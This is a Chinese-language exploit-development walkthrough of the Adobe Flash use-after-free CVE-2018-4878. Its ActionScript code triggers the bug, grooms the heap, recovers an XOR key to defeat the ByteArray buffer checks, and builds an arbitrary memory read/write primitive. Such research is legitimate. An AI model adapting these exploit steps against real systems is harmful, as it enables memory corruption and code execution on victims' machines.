导语:Flash的漏洞利用仍然可以绕过Adobe强化的功能,特别是在UAF的情况下,我们可以完全控制属性值并且可以泄漏内存。
分析 CVE-2018-4878
首先,让我们用一个简单的例子来展示这个漏洞是如何触发的:
public function triggeruaf() : void { var sdk :PSDK = null; var dispatch:PSDKEventDispatcher = null; sdk = PSDK.pSDK; dispatch = sdk.createDispatcher(); this.mediaplayer = sdk.createMediaPlayer(_loc2); this.listener = new MyListener(); this.mediaplayer.drmManager.initialize(this.listener); this.listener = null; } public function runexploit() : void { this.triggeruaf(); try { new LocalConnection().connect(“foo”); new LocalConnection().connect(“foo”); } catch (e:Error) { this.danglingpointer = new MyListener(); } } public class MyListener implements DRMOperationCompleteListener { public function MyListener() { super(); } public function onDRMOperationComplete():void { trace(“IN COMPLETE”); } public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void { trace(“IN ERROR”); } }
这里存在的缺陷存在于DRMManager的“initialize”调用中,期望实现DRMOperationCompleteListener接口的对象。在可以使用之前,通过将“ this.listener ”设置为NULL来释放对象,强制分配的内存由垃圾回收器释放。
接下来,我们分配一个DRMOperationCompleteListener对象,并在“ danglingpointer ”变量中保存对此对象的引用。这个对象是free'd,但是“ danglingpointer ”变量仍然引用这个内存,这意味着我们有了一个“use-after-free”条件。
如果我们继续回顾所披露的漏洞,我们会看到增加了一个计时器:
public function runexploit() : void { this.triggeruaf(); try { new LocalConnection().connect(“foo”); new LocalConnection().connect(“foo”); } catch (e:Error) { this.danglingpointer = new MyListener(); } this.timer = new Timer(100, 1000); this.timer.addEventListener(“timer”, this.uafcheck); this.timer.start(); }
这个定时器调用一个检查UAF条件的新函数:
public function uafcheck(param1:TimerEvent) : void { if (this.danglingpointer.a1 != 0x31337) { // If here, we know that we have a danglingpointer, so we stop the timer this.timer.stop(); } }
这个定时器用于定期检查我们的“ danglingpointer ”对象是否已释放,并且现在指向已释放的内存。最终情况就是这样的,它允许我们用另一个对象填充这个空闲的空间。
到此为止,事情变得有点模糊。在我们发现的截图和示例中,似乎没有一个共享的用于生成填充此内存的对象(特别是“ Mem_Arr ”类)的类的详细信息。但是,我们确实找到了利用此漏洞的方法,重新创建了我们所认为的这个类正在进行的操作,但是如果你拥有该恶意软件的副本,我们非常有兴趣了解我们在匹配恶意软件的漏洞方面有多接近。
我们从网上的讨论中知道,用于获得对Flash的控制权的原语是一个ByteArray,这意味着我们要用一个ByteArray对象填充free'd内存:
但问题是我们知道由于大小的差异,ByteArray可能不会被分配到free'd DRMOperationCompleteListener对象的位置。然而,我们可以创建一个新的类来扩展ByteArray类并添加其他属性来扩展对象的大小。为此,我们创建一个新类“ Mem_Arr ”:
public class Mem_Arr extends ByteArray { var a1:uint = 0x31338; var a2:uint = 0x31338; var a3:uint = 0x31338; var a4:uint = 0x31338; var a5:uint = 0x31338; var a6:uint = 0x31338; var a7:uint = 0x31338; var a8:uint = 0x31338; var a9:uint = 0x31338; var a10:uint = 0x31338; var a11:uint = 0x31338; var a12:Object = 0x31338; var a13:Object = 0x31338; var a14:Object = 0x31338; var a15:Object = 0x31338; var a16:Object = 0x31338; public function Mem_Arr() { } }
此外,我们还将修改我们的“ MyListener ”对象以包含许多其他属性:
public class MyListener implements DRMOperationCompleteListener { var a1:uint = 0x31337; var a2:uint = 0x31337; var a3:uint = 0x31337; var a4:uint = 0x31337; var a5:uint = 0x31337; var a6:uint = 0x31337; var a7:uint = 0x31337; var a8:uint = 0x31337; var a9:uint = 0x31337; var a10:uint = 0x31337; var a11:uint = 0x31337; var a12:uint = 0x31337; var a13:uint = 0x31337; var a14:uint = 0x31337; var a15:uint = 0x31337; var a16:uint = 0x31337; var a17:uint = 0x31337; var a18:uint = 0x31337; var a19:uint = 0x31337; var a20:uint = 0x31337; var a21:uint = 0x31337; var a22:uint = 0x31337; var a23:uint = 0x31337; var a24:uint = 0x31337; var a25:uint = 0x31337; var a26:uint = 0x31337; var a27:uint = 0x31337; var a28:uint = 0x31337; var a29:uint = 0x31337; var a30:uint = 0x31337; var a31:uint = 0x31337; var a32:uint = 0x31337; var a33:uint = 0x31337; var a34:uint = 0x31337; public function MyListener() { super(); } public function onDRMOperationComplete():void { trace(“IN COMPLETE”); } public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void { trace(“IN ERROR”); } }
这样做的原因是为了确保两个“ myListener的 ”和“ Mem_Arr ”的对象是大小相似,让我们使用一个“ Mem_Arr ”来替换free'd“ myListener”。
我们还将更新我们的“ uafcheck ”函数并从“ Mem_Arr ”对象中转储内存,以确保我们处于正确的轨道上:
public function uafcheck(param1:TimerEvent) : void { if (this.danglingpointer.a1 != 0x31337) { // If here, we know that we have a danglingpointer, so we stop the timer this.timer.stop(); // Allocate our new extended ByteArray var buffer = new Mem_Arr(); buffer.length = 0x512; buffer.position = 0x31; // Here, we have a MyListener object (this.danglingpointer) // which is actually pointing to a Mem_Arr (buffer) object // Memory dump of the Mem_Arr object trace(“===============”); trace(this._vuln2.a1.toString(16)); trace(this._vuln2.a2.toString(16)); trace(this._vuln2.a3.toString(16)); trace(this._vuln2.a4.toString(16)); trace(this._vuln2.a5.toString(16)); trace(this._vuln2.a6.toString(16)); trace(this._vuln2.a7.toString(16)); trace(this._vuln2.a8.toString(16)); trace(this._vuln2.a9.toString(16)); … } }
现在,如果我们执行这个SWF,我们会发现我们的跟踪日志包含以下内容:
=============== db8293c 44 0 64414f44 6445f9e4 64414f40 6446acf8 db17f60 8805000 89ef910 0 0 31 64414f30 99d5020 0 0 64414f38 3 0 31338 31338 31338 31338 31338 …
虽然这可能看起来像是DWORD的随机序列,但实际上我们看看我们有什么。首先,我们看到“ 0x31 ” 的值,它实际上是我们更新ByteArray / Mem_Arr对象的“position ”属性值。
回顾ByteArray类的源代码,我们知道ByteArray实际上由以下属性组成:
private: Toplevel* const m_toplevel; MMgc::GC* const m_gc; WeakSubscriberList m_subscribers; MMgc::GCObject* m_copyOnWriteOwner; uint32_t m_position; FixedHeapRef<Buffer> m_buffer; bool m_isShareable;
其中一个属性是“ m_position ”,它包含“ position ”属性。这意味着我们正处于正确的轨道上,现在有能力操纵ByteArray的底层内存。
实际上我们感兴趣的是“ m_buffer ”属性,它是一个指向包含以下内容的Buffer对象的指针:
public: uint8_t* array; uint32_t capacity; uint32_t length; // Thanks to “Guanxing Wen” for the following (https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own.pdf) uint32_t copyOnWrite; uint32_t check_array; uint32_t check_capacity; uint32_t check_length; uint32_t check_copyOnWrite;
在这里,我们看到Google Project Zero中引入的缓解措施之一,这些缓解措施用作XOR检查值的一些属性。我们需要通过取消引用m_buffer地址来访问此结构。
为此,我们添加了一个新类:
public class Modify { var a1:uint = 0x31339; var a2:uint = 0x31339; var a3:uint = 0x31339; var a4:uint = 0x31339; var a5:uint = 0x31339; var a6:uint = 0x31339; var a7:uint = 0x31339; var a8:uint = 0x31339; … }
并从我们的Mem_Arr类添加了对这个类的引用:
public class Mem_Arr extends ByteArray { var a1:uint = 0x31338; var a2:uint = 0x31338; var a3:uint = 0x31338; var a4:uint = 0x31338; var a5:uint = 0x31338; var a6:uint = 0x31338; var a7:uint = 0x31338; var a8:uint = 0x31338; var a9:uint = 0x31338; var a10:uint = 0x31338; var o1:Modify = new Modify(); var a12:Object = 0x31338; var a13:Object = 0x31338; var a14:Object = 0x31338; var a15:Object = 0x31338; var a16:Object = 0x31338; public function Mem_Arr() { } public function DumpPointer() : void { trace(“–> ” + this.o1.a1.toString(16)); trace(“–> ” + this.o1.a2.toString(16)); trace(“–> ” + this.o1.a3.toString(16)); trace(“–> ” + this.o1.a4.toString(16)); trace(“–> ” + this.o1.a5.toString(16)); trace(“–> ” + this.o1.a6.toString(16)); trace(“–> ” + this.o1.a7.toString(16)); trace(“–> ” + this.o1.a8.toString(16)); trace(“–> ” + this.o1.a9.toString(16)); trace(“–> ” + this.o1.a10.toString(16)); trace(“–> ” + this.o1.a11.toString(16)); } }
这里的想法是通过悬挂指针指向“ m_buffer ”地址来设置我们的“ Mem_Arr ”对象的“ o1 ”属性,然后通过“Modify”类取消引用对象。我们更新了“ o1 ”属性:
// Set o1 to the m_buffer this.danglingpointer.a31 = this.danglingpointer.a15 – 0x10; this.buffer.DumpPointer();
执行此操作,我们看到以下返回的记录值:
–> 64414f28 –> 1 –> 8c34ab0 –> 512 –> 512 –> 0 –> b9baa73b –> b179e899 –> b179e899 –> b179ed8b –> 0 –> 0
在这里,我们清楚地看到ByteArray的长度为0x512,再次表明我们处于正确的位置。让我们将这些值覆盖到ByteArray对象:
–> 64414f28 –> 1 –> 8c34ab0 uint8_t* array; –> 512 uint32_t capacity; –> 512 uint32_t length; –> 0 uint32_t copyOnWrite; –> b9baa73b uint32_t check_array; –> b179e899 uint32_t check_capacity; –> b179e899 uint32_t check_length; –> b179ed8b uint32_t check_copyOnWrite; –> 0 –> 0
所以在这里我们有能力修改“Buffer”对象的底层内存。
有趣的是,我们在这里还看到,我们可以通过“ check_copyOnWrite ”值为0 ^ KEY来恢复XOR的Key,所以在这种情况下我们知道我们的XOR的Key实际上是b179ed8b。
让我们在“ Mem_Arr ”中添加一个新方法来更新“ m_buffer ”,使其指向0x00000000的基址,并保持0xFFFFFFFF的限制:
public function UpdateBuffer() : void { var xorkey = this.o1.a10; // Set our address to 0, and length to max this.o1.a3 = 0; this.o1.a4 = 0xFFFFFFFF; this.o1.a5 = 0xFFFFFFFF; // Update the XOR check this.o1.a7 = this.o1.a3 ^ xorkey; this.o1.a8 = this.o1.a4 ^ xorkey; this.o1.a9 = this.o1.a5 ^ xorkey; }
就是这样……当触发时,缓冲区长度被设置为0xFFFFFFFF,基地址被设置为0x00000000,并且安全检查被更新。
使用这个原语,我们现在可以完全控制Flash环境,并可以覆盖任意的内存位置:
漏洞的源代码可以在MDSec ActiveBreach github上找到。
这不是全部的利用方式
在重新创建上述漏洞的同时,我们实际上遇到了另一种有趣的方式来操作内存内容,而无需使用ByteArray或Vector <uint>并且必须需要使用XOR保护。
通过利用对象引用,就像上面用来读取“ m_buffer ”属性一样,我们实际上有一个相当稳定的R/W原语。
例如,让我们修改我们上面的POC来尝试读取任意的内存位置。在这里,我们将“ o1 ”引用设置为0x41414141:
// Set o1 to 0x41414141 this.danglingpointer.a31 = 0x41414141 – 0x10;
并调用添加到Mem_Arr, RW()的新函数:
public function RW() : void { this.o1.a1 = 0x31337; } this.buffer.RW();
并重新运行我们的示例:
在这里我们可以看到,使用这个对象解除引用,我们可以用我们选择的值覆盖任何内存位置。
同样,我们无法访问完整的恶意软件样本,但我们很想知道这种技术是否被原始漏洞利用。
在我们的下一篇文章中,我们将研究如何使用上述原语来启动自定义的shellcode。那么从这一切中我们能获得什么呢?当然首先是Flash的漏洞利用仍然可以绕过Adobe强化的功能,特别是在UAF的情况下,我们可以完全控制属性值并且可以泄漏内存。
其次,当你可以损坏的对象时,是有多种方法来操纵Flash的任意内存的,虽然强化防御措施已经引入Vector.<uint>和ByteArray,但是对象解除引用一样可以使用。